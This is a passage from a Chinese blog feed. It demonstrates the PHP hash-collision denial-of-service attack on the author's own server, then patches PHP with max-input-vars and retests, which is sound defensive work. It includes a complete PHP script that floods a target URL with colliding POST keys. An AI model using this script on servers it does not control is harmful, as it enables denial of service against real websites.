0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; width: 325px; height: 91px; " border="0" /></a></p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; ">&nbsp;&nbsp;&nbsp; 找台有PHP环境的测试机器，这台机器我用虚拟机，里面有LAMP环境。进/usr/local/apache/htdocs目录，写一PHP网页，程序语言如下：<br />[root@blog htdocs]# Vi hash.php</p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; ">&lt;?php<br />$size = pow(2, 16);<br />$data = '';<br />for ($key = 0, $maxKey = ($size - 1) * $size; $key &lt;= $maxKey; $key += $size) {<br />$data .= $key.'=&amp;';<br />}</p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; ">$url = 'http://www.liuxxxxx.com/checktime.php';<br />$rs = array();<br />$ch = curl_init();<br />curl_setopt($ch, CURLOPT_HEADER,0);<br />curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);<br />curl_setopt($ch, CURLOPT_URL, $url);<br />curl_setopt($ch, CURLOPT_POST, 1);<br />curl_setopt($ch, CURLOPT_POSTFIELDS, $data);<br />for ($i=0; $i&lt;100; ++$i)<br />{<br />curl_exec($ch);<br />}<br />curl_close($ch);<br />?&gt;</p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; ">&nbsp;&nbsp; url地址，为你要作测试的目标机，i&lt;100，表示最多100个并发。手工执行hash.php，进行hash碰撞。<br />[root@blog htdocs]# /usr/local/php/bin/php hash.php</p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; ">&nbsp;&nbsp; 在web服务器端，我们去看服务器的资源利用情况，CPU是97.6%，看样子单台虚拟机，拿100并发去Hash，就足够把web服务器的CPU利用率升至100%。</p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; "><a href="http://www.2cto.com/uploadfile/2012/0113/20120113012100280.jpg" target="_blank" style="color: #333333; text-decoration: none; font-size: 14px; "><img alt="\" src="http://www.2cto.com/uploadfile/2012/0113/20120113012100280.jpg" style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; width: 558px; height: 138px; " border="0" /></a></p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; "><br />&nbsp;&nbsp;&nbsp; Cpu到了100%，网站是什么情况呢。我们再浏览该台web服务器，点网站上面的链接，反应正常，估计是这台web服务器本身没有一点压力，所以看不出来。把并发量调到10000，再测下，刚才是100并发。</p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; "><a href="http://www.2cto.com/uploadfile/2012/0113/20120113012100359.jpg" target="_blank" style="color: #333333; text-decoration: none; font-size: 14px; "><img alt="\" src="http://www.2cto.com/uploadfile/2012/0113/20120113012100359.jpg" style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; width: 198px; height: 24px; " border="0" /></a></p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; ">刷新checktime.php页面，可以很快显示，网站正常。但此时web服务器cpu已是100%</p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; "><a href="http://www.2cto.com/uploadfile/2012/0113/20120113012100939.jpg" target="_blank" style="color: #333333; text-decoration: none; font-size: 14px; "><img alt="\" src="http://www.2cto.com/uploadfile/2012/0113/20120113012100939.jpg" style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; width: 558px; height: 142px; " border="0" /></a></p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; "><br />&nbsp;&nbsp; 结论，我是用个人博客作目标机，因为个人博客，目前只有几个人访问，没有压力，所以即使，通过10000并发的Hash，CPU上到100%，个人博客打开的速度，还是相当快。</p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; ">打上补丁，我们再观察一下。<br />1、先查下以后在搭建环境时，PHP的编译参数</p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; "><a href="http://www.2cto.com/uploadfile/2012/0113/20120113012100291.jpg" target="_blank" style="color: #333333; text-decoration: none; font-size: 14px; "><img alt="\" src="http://www.2cto.com/uploadfile/2012/0113/20120113012100291.jpg" style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; width: 558px; height: 143px; " border="0" /></a></p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; ">2、到网上去下载一个PHP补丁，下载地址为：<br />https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars</p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; "><a href="http://www.2cto.com/uploadfile/2012/0113/20120113012101461.jpg" target="_blank" style="color: #333333; text-decoration: none; font-size: 14px; "><img alt="\" src="http://www.2cto.com/uploadfile/2012/0113/20120113012101461.jpg" style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; width: 558px; height: 254px; " border="0" /></a></p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; "><br />3、根据个人平台的版本号，点击进去，注意，不要在它上面点右键，另存为，否则你down下的是一个html文件，文件名倒是php-5.2.17-max-input-vars.patch。<br />在新弹出的页面点&#8220;raw&#8221;,就会打开这个补丁文件。</p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; "><a href="http://www.2cto.com/uploadfile/2012/0113/20120113012101316.jpg" target="_blank" style="color: #333333; text-decoration: none; font-size: 14px; "><img alt="\" src="http://www.2cto.com/uploadfile/2012/0113/20120113012101316.jpg" style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; width: 491px; height: 98px; " border="0" /></a></p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; "><a href="http://www.2cto.com/uploadfile/2012/0113/20120113012101596.jpg" target="_blank" style="color: #333333; text-decoration: none; font-size: 14px; "><img alt="\" src="http://www.2cto.com/uploadfile/2012/0113/20120113012101596.jpg" style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; width: 446px; height: 109px; " border="0" /></a></p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; "><br />&nbsp;&nbsp; 把里面的内容复制，我这里只截了它一小部分。然后在web服务器上新建一个文件，php-5.2.17-max-input-vars.patch，里面就是刚复制的。</p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; ">4、进php的原始安装目录，我这里环境是/opt/soft/php-5.2.17。先把原来已编译好的一些，清理一下。</p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; "><a href="http://www.2cto.com/uploadfile/2012/0113/20120113012101552.jpg" target="_blank" style="color: #333333; text-decoration: none; font-size: 14px; "><img alt="\" src="http://www.2cto.com/uploadfile/2012/0113/20120113012101552.jpg" style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; width: 418px; height: 113px; " border="0" /></a></p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; "><br />5、打补丁并重新编译一下php</p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; "><a href="http://www.2cto.com/uploadfile/2012/0113/20120113012102441.jpg" target="_blank" style="color: #333333; text-decoration: none; font-size: 14px; "><img alt="\" src="http://www.2cto.com/uploadfile/2012/0113/20120113012102441.jpg" style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; width: 558px; height: 47px; " border="0" /></a></p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; ">再config<br />再make ZEND_EXTRA_LIBS='-liconv' //有的平台是make，每个环境不一样<br />再make install</p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; ">6、重启一下apache，看效果<br />[root@lghblog php-5.2.17]# pkill httpd<br />[root@lghblog php-5.2.17]#/usr/local/apache/bin/apachectl start</p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; ">访问一下，web服务器的phpinfo.php，查看PHP环境有没有变化。大家可以在最上面看到，PHP版本后带了个P1。这个还不够，我们再用Hash碰撞一下，看cpu会不会上100%。<br /><a href="http://www.2cto.com/uploadfile/2012/0113/20120113012102924.jpg" target="_blank" style="color: #333333; text-decoration: none; font-size: 14px; "><img alt="\" src="http://www.2cto.com/uploadfile/2012/0113/20120113012102924.jpg" style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; width: 457px; height: 221px; " border="0" /></a></p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; "><br />在测试机上，还是取并发10000，去Hash web服务器。发现web服务器的CPU一直保持在0.5%。</p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; "><a href="http://www.2cto.com/uploadfile/2012/0113/20120113012102322.jpg" target="_blank" style="color: #333333; text-decoration: none; font-size: 14px; "><img alt="\" src="http://www.2cto.com/uploadfile/2012/0113/20120113012102322.jpg" style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; width: 557px; height: 141px; " border="0" /></a></p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; ">&nbsp;</p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; ">问题解决！</p></div><img src ="http://www.blogjava.net/xiaomage234/aggbug/370869.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2012-02-27 19:18 <a href="http://www.blogjava.net/xiaomage234/archive/2012/02/27/370869.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PHP5.3 为何不建议使用split()函数</title><link>http://www.blogjava.net/xiaomage234/archive/2012/02/27/370856.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Mon, 27 Feb 2012 08:46:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2012/02/27/370856.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/370856.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2012/02/27/370856.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/370856.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/370856.html</trackback:ping><description><![CDATA[<div><p>本地<a href="http://www.jzxue.com/wangzhankaifa/" target="_blank">开发</a>用到的<a href="http://www.jzxue.com/wangzhankaifa/php/" target="_blank">php</a>版本一定要和<a href="http://www.jzxue.com/fuwuqi/" target="_blank">服务器</a>版本一样，否则<a href="http://www.jzxue.com/tag/%C9%CF%B4%AB/" target="_blank">上传</a>后会出现很多问题。&nbsp;</p> <p>本地测试的程序上传到服务器出现很多错误，Deprecated: Function split() is deprecated&nbsp; <br 